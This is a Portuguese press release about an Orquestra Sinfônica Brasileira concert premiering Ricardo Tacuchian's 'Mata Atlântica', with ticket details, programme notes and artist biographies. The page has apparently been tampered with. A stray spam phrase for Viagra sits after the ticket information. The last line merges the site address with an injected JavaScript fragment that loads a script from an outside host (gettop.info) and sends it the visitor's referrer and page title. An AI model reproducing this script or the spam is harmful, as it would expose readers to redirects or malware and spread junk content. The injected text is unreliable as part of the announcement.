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“Mata Atlântica”, de Tacuchian, estreia pela OSB

Apresentação terá participações da soprano Daniella Carvalho e dos contrabaixistas André Geiger e Rodrigo Fávaro.

 

SERVIÇO

 

Espaço Tom Jobim
Rua Jardim Botânico, 1.008 – Jardim Botânico
Telefone: (21) 2274-7012

Dia 19 de abril, quinta-feira, às 20h.

Ingressos:
Plateia (400 lugares) R$ 60 / R$30 (meia-entrada)
Balcão (100 lugares) R$ 40 / R$ 20 (meia-entrada)

Descontos: 50% para maiores de 60 anos e menores de 21 anos, estudantes e portadores de necessidades especiais

Estacionamento: gratuito

Vendas na bilheteria do Espaço Tom Jobim (de segunda a sexta, das 14h às 18h; sábado e domingo, das 14h até a hora do espetáculo) ou pela Ingresso.com (4003-2330 / www.ingresso.com)

Programação sujeita a alteração. comprare il viagra

 

 

A OSB volta a subir ao palco do Espaço Tom Jobim em um concerto que terá a estreia mundial de uma obra do compositor brasileiro Ricardo Tacuchian, a participação de dois contrabaixistas integrantes da própria orquestra como solistas e a execução da última sinfonia de Tchaikovsky. A apresentação faz parte da série Concertos Especiais e terá regência do maestro titular Roberto Minczuk.

No programa, a estreia mundial de “Mata Atlântica”, quarto movimento de “Sinfonia das Florestas”, do maestro e compositor carioca Ricardo Tacuchian. Doutor em Música pela University of Southern California, Tacuchian é um dos compositores brasileiros da atualidade mais programados por solistas, ensembles e orquestras. Várias de suas obras exploram a temática ecológica da “Sinfonia das Florestas”, tais como “Dia de Chuva” (1963), “Estruturas Verdes” (1976), “Terra Aberta” (1997) e “Biguás” (2009), entre outras.

A soprano Daniella Carvalho se junta à OSB para a apresentação da composição. Natural do Rio de Janeiro, a cantora fez sua estreia em Nova York como vencedora do Artist International Competition at Weill Hall e, desde então, interpretou personagens das principais obras do repertório de ópera, tendo se apresentado em palcos na Itália, Áustria, EUA e aqui no Brasil.

Os músicos André Geiger e Rodrigo Fávaro, contrabaixistas da OSB, serão os solistas em “Passione amorose para dois contrabaixos e orquestra”, de Giovanni Bottesini, compositor que mais obras dedicou ao instrumento. Geiger já ocupou o cargo de co-solista da Orquestra Sinfônica de Barcelona e Nacional de Catalunha na Espanha e trabalhou na Opera de Mannheim, Alemanha. Tocou como músico convidado com a Mahler Chamber Orchestre, a orquestra da Suisse Romande e a Orquestra Sinfônica de Galícia e trabalhou com maestros como Claudio Abbado, Kurt Masur, Lorin Maazel, Daniel Harding, e Eiji Oue.

Já Rodrigo Fávaro, que integra a OSB desde 2009, é mestre pela Escola Superior de Música de Genebra. Tocou como convidado na Suisse Romande e como solista da Sinfonietta de Lausanne, Les Solistes de Genebra e Camerata Mundi. O contrabaixista já se apresentou sob a regência de maestros como Charles Dutoit, Leonard Slatkin, Marek Janowsky, Vladimir Ashkenazy e Gustavo Dudamel.

A “Sinfonia nº 6 em si menor Op. 74”, também conhecida como Patética, completa o repertório. A obra é a última sinfonia composta por Tchaikosky, que morreu poucos dias depois de sua estreia. A segunda apresentação da obra, regida por Eduard Naprávnik doze dias após sua morte, foi determinante para seu sucesso. O nome “Patética” foi uma sugestão do irmão do compositor, Modest.

 

SINFONIA DAS FLORESTAS


A Orquestra Sinfônica Brasileira encomendou ao compositor Ricardo Tacuchian a Sinfonia das Florestas, que ficou pronta em 2012. A obra será apresentada completa no próximo ano mas, antecipando a estreia,  a OSB programou  o IV Movimento (Mata Atlântica) da obra em sua Série Especial de 2012.

Sinfonia das Florestas foi dedicada ao maestro José Siqueira que, entre muitas outras realizações, foi o fundador da Orquestra Sinfônica Brasileira, instituição que comissionou a presente obra. É, além do mais, uma homenagem àquele que foi o principal mestre de Tacuchian, durante sua fase de formação musical. O autor usou as florestas brasileiras como uma metáfora para todas as florestas do mundo que precisam ser preservadas, especialmente aquelas que estão em processo de extinção.

Não se trata de uma reprodução dos sons da Natureza. Debussy já afirmara que, “a música não se limita a uma reprodução mais ou menos exata da natureza, mas às misteriosas correspondências entre a Natureza e a Imaginação”.   A Sinfonia das Florestas guarda algumas referências da forma Sinfonia e correspondências entre Natureza e Imaginação.

 

1º movimento – Amazônia (texto de Thiago de Mello)

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Depois de uma introdução lenta, onde são sugeridos os ruídos da floresta, surgem duas ideias contrastantes que se alternam, criando a dialética dramática que caracteriza a forma sonata: uma parte instrumental (Allegro) segue a parte com solo de soprano (Moderato) que apresenta um caráter mais introspectivo, de acordo com a natureza do poema Filho da Floresta, de Thiago de Mello: “os silvos, os lamentos, os esturros [urros de onça]/ percorrem vibrando as distâncias/ da planície, que os tajás [tinhorões]lambem as feridas.” O poeta se diz “filho deste reino generoso” e faz um convite: “vem ver comigo o rio e as suas leis,/ vem aprender a ciência dos rebojos [redemoinhos do rio],/ vem escutar os pássaros noturnos,/ no mágico silêncio do igapó” [mata inundada de água]. O poeta encerra sua laudação, dizendo que os homens nascidos naqueles verdes são “profundamente irmãos/ das coisas poderosas, permanentes/ como as águas, os ventos e a esperança”.

 

2º movimento – Cerrado

É um Allegro Vivace que corresponderia ao scherzo da sinfonia clássica. Ele é exclusivamente orquestral e simboliza a mata esparsa, com árvores baixas e morada de um riquíssimo bioma. O cerrado é a savana brasileira e corresponde a cerca de 22% do território nacional.

 

3o. movimento – Queimadas

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O movimento lento da Sinfonia (Adagio), é uma denúncia. Também é exclusivamente instrumental e começa revelando uma harmonia quase religiosa de toda a natureza, mas que é quebrada pela prática criminosa do desmatamento: derrubadas e queimadas, provocadas pelo homem para aproveitar o terreno para pastagens e plantio e o uso indiscriminado de agrotóxicos que matam os agentes polinizadores da floresta e contaminam a água do subsolo. Toda a harmonia inicial é substituída pelo caos, provocado por árvores centenárias abatidas e pelo fogo esterilizando o solo e pela extinção de espécies animais e vegetais. O que se segue é um imenso vazio, a seca das fontes de água ou sua degradação, o deserto e um apocalíptico silêncio…

 

4º movimento – Mata Atlântica (texto de Gérson Valle)

Fauna da Mata Atlântica

(Vivace) tem a atmosfera do Finale das sinfonias do passado. O texto poético de Gérson Valle Dentro da Mata Atlântica foi dedicado ao compositor que nasceu na área deste ecossistema. Quando surge o solo de soprano, o andamento passa a Moderato e, depois, a Allegro Moderato.  No texto, o poeta se lamenta pela destruição da Mata Atlântica. Apesar de sua catastrófica devastação, reduzindo-a a apenas 7% de sua área original ela é, ainda, um dos mais ricos ecossistemas do planeta.

O poeta chora pela ação deletéria do homem, com o desaparecimento progressivo de sua rica biodiversidade como a jaguatirica, o sagui, os pássaros coloridos ou com a poluição dos rios antes caudalosos. “Aqui já não há saci oculto/ dentre os clarões desabrigados,/ devastações dos homens.” Mas o poeta não perde a esperança e, por fim, afirma: “E aqui há de vir um outro saci/ não mais escondido ou predador/ na lenda disfarçada de nossa humana maldade./ Ainda aqui tem feição o homem só/ em sua nova percepção instintiva, dobro de lobo guará/ a proteger a diversificação da sobrevida, nosso habitat”.

 

Os responsáveis

 

Thiago de Mello (Barreirinha, AM, 1926)

Um dos mais importantes poetas brasileiros de sua geração, autor de Os Estatutos do Homem e de O Filho da Floresta, tem sua obra traduzida em vários idiomas. Foi preso durante a ditadura militar, mas agora vive livre às margens do Rio Amazonas.

 

Gérson Valle (Rio de Janeiro, RJ 1944)

É advogado e poeta, com vários livros publicados de poesia, novelas e ensaios. Depois de atuar na FUNARTE, transferiu-se para Petrópolis, onde a Mata Atlântica ainda está relativamente conservada. Nesta cidade serrana ele exerce intensa atividade cultural. É membro da Academia Brasileira de Poesia.

 

Ricardo Tacuchian (Rio de Janeiro, RJ 1939)

Maestro e compositor, cuja obra já foi tocada em todo o mundo ocidental, é um dos compositores brasileiros da atualidade mais programados por solistas, ensembles e orquestras, além de possuir vasta discografia com sua música. Várias de suas obras exploram a temática ecológica da Sinfonia das Florestas, tais como Dia de Chuva (1963), Estruturas Verdes (1976), Terra Aberta (1997) e Biguás (2009), entre outras. É membro da Academia Brasileira de Música.

 

Realização: Ministério da Cultura. A Orquestra Sinfônica Brasileira é mantida pela Vale e Prefeitura do Rio. Apoio financeiro: BNDES.

Mais informações pelo site: www.osb.com.brs.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;